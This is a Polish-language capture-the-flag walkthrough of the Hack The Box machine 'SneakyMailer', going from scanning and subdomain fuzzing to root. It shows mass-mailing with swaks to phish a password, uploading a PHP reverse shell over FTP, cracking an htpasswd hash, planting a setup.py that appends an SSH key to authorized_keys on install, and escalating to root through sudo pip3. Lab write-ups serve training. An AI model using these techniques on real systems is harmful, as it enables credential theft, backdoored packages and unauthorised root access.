Nmap
nmap -sC -sV -T5 -p- 10.10.10.197
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp syn-ack ttl 63 Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp open http syn-ack ttl 63 nginx 1.14.2
|_http-server-header: nginx/1.14.2
143/tcp open imap syn-ack ttl 63 Courier Imapd (released 2018)
|_imap-capabilities: UTF8=ACCEPTA0001 ACL IDLE IMAP4rev1 NAMESPACE completed THREAD=REFERENCES QUOTA STARTTLS CAPABILITY UIDPLUS ACL2=UNION OK SORT CHILDREN ENABLE THREAD=ORDEREDSUBJECT
993/tcp open ssl/imaps? syn-ack ttl 63
|_ssl-date: TLS randomness does not represent time
8080/tcp open http syn-ack ttl 63 nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
User
Strona internetowa odrazu przekierowuje nas na “sneakycorp.htb” trzeba dodać ten wpis do /etc/hosts
Na stronie widać dużo danych użytkowników. Trzeba zrobić listy userów i e-maili, ponieważ nazwa boxa i otwarte porty wskazują na to, że może mieć to związek z mailami.
Dalsza enumeracja kieruje nas na wersję developerską serwera
wfuzz --hw 69 --hc 404,301 -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://sneakycorp.htb -H "Host: FUZZ.sneakycorp.htb"
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://sneakycorp.htb/
Total requests: 19983
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000019: 200 340 L 989 W 13737 Ch "dev"
http://dev.sneakycorp.htb <-- dodajemy do /etc/hosts
Na stronie mamy formularz rejestracji w lokalizacji “/pypi/” co jest też ciekawe.
Natomiast poza tym nic ciekawego dlatego przechodzę do prób wysyłania wiadomości. narzędziem “swaks” … puste przesyłanie nic nie daje, trzeba w ciele wiadomości przesłać adres zwrotny do którego ma się server odezwać, a u siebie wystawić netcata.
while read maile; do swaks --to $maile --from bax@sneakymailer.htb --body "http://10.10.14.120/" --server 10.10.10.197; done < emails.txt
=== Trying 10.10.10.197:25...
=== Connected to 10.10.10.197.
<- 220 debian ESMTP Postfix (Debian/GNU)
-> EHLO test
<- 250-debian
<- 250-PIPELINING
<- 250-SIZE 10240000
<- 250-VRFY
<- 250-ETRN
<- 250-STARTTLS
<- 250-ENHANCEDSTATUSCODES
<- 250-8BITMIME
<- 250-DSN
<- 250-SMTPUTF8
<- 250 CHUNKING
-> MAIL FROM:<bax@sneakymailer.htb>
<- 250 2.1.0 Ok
-> RCPT TO:<paulbyrd@sneakymailer.htb>
<- 250 2.1.5 Ok
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Fri, 17 Jul 2020 11:43:43 +0100
-> To: paulbyrd@sneakymailer.htb
-> From: bax@sneakymailer.htb
-> Subject: test Fri, 17 Jul 2020 11:43:43 +0100
-> Message-Id: <20200717114343.014357@test>
-> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
->
-> http://10.10.14.120/
->
->
-> .
<- 250 2.0.0 Ok: queued as F070624684
-> QUIT
<- 221 2.0.0 Bye
=== Connection closed with remote host.
listening on [any] 80 ...
connect to [10.10.20.9] from (UNKNOWN) [10.10.10.197] 49184
POST / HTTP/1.1
Host: 10.10.20.9
User-Agent: python-requests/2.23.0
Accept-Encoding:gzip, deflateAccept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
URL Decode:
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
Jeżeli nie dostajesz odpowiedzi to znaczy, że ktoś dodał te konto do aplikacji obsługującej emaile i przechwytuje przed automatem z boxa. Najlepiej zresetować maszynę.
Na skrzynce są wiadomości wysłane :
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
Hello administrator, I want to change this password for the developer account
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it
Dane pasują do serwera ftp.
Na serwerze widzimy że mamy folder strony “dev”.
możemy wrzucać tam pliki więc wrzucamy reverse-shell.php komendą put
Mamy użytkownika www-data.
Następnie zmieniamy użytkownika na developer
su developer
m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
python -c 'import pty; pty.spawn("/bin/bash")'
W folderze “/var/www” są trzy katalogi ze stronami i okazuje się że jest jeszcze jeden VirtualHost “pypi.sneakycorp.htb”
żeby to potwierdzić sprawdzamy jeszcze:
ls /etc/nginx/sites-available
default pypi.sneakycorp.htb sneakycorp.htb
cat /etc/nginx/sites-available/pypi.sneakycorp.htb
server {
listen 0.0.0.0:8080 default_server;
listen [::]:8080 default_server;
server_name _;
}
server {
listen 0.0.0.0:8080;
listen [::]:8080;
server_name pypi.sneakycorp.htb;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
cat /etc/hosts
127.0.0.1 localhost pypi.sneakycorp.htb
127.0.0.1 sneakycorp.htb
127.0.1.1 debian
Znajduję hash do złamania
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
john --wordlist=/usr/share/wordlists/rockyou.txt pypi.hash
soufianeelhaoui (pypi)
z tym hasłem można tworzyć paczki i wrzucać je na serwer.
Przydadzą się dwa artykuły
[distutils]
index-servers =
mypypi
[mypypi]
repository=http://pypi.sneakycorp.htb:8080/
username=pypi
password=soufianeelhaoui
import setuptools
try:
with open("/home/low/.ssh/authorized_keys", "a") as f:
f.write("klucz ssh")
f.close()
except Exception as e:
pass
setuptools.setup(
name="bax", # Replace with your own username
version="0.0.1",
author="Example Author",
author_email="author@example.com",
description="A small example package",
long_description="",
long_description_content_type="text/markdown",
url="https://github.com/pypa/sampleproject",
packages=setuptools.find_packages(),
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
)
po stworzeniu powyższych plików wykonujemy komendy
python3 setup.py sdist register -r mypypi upload -r mypypi
python3 -m twine upload --repository mypypi dist/*
upewniamy się czy nasza paczka jest na serwerze
http://pypi.sneakycorp.htb:8080/packages/
jeżeli jest to możemy się zalogować po ssh
ssh -i ~/.ssh/id_rsa low@10.10.10.197
low@sneakymailer:~$ cat user.txt
bc0ef58c****250a732335ac67
Root
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
z pomocą przychodzą nam GTFO.bins
tworzymy plik, dajemy uprawnienia i uruchamiamy. Chwilkę to trwa.
nano expl.sh
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip3 install $TF
chmod +x expl.sh
./expl.sh
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.oUOGJLgGFU
# id
uid=0(root) gid=0(root) groups=0(root)
# cat root.txt
2d5d9c274139****7d390526a960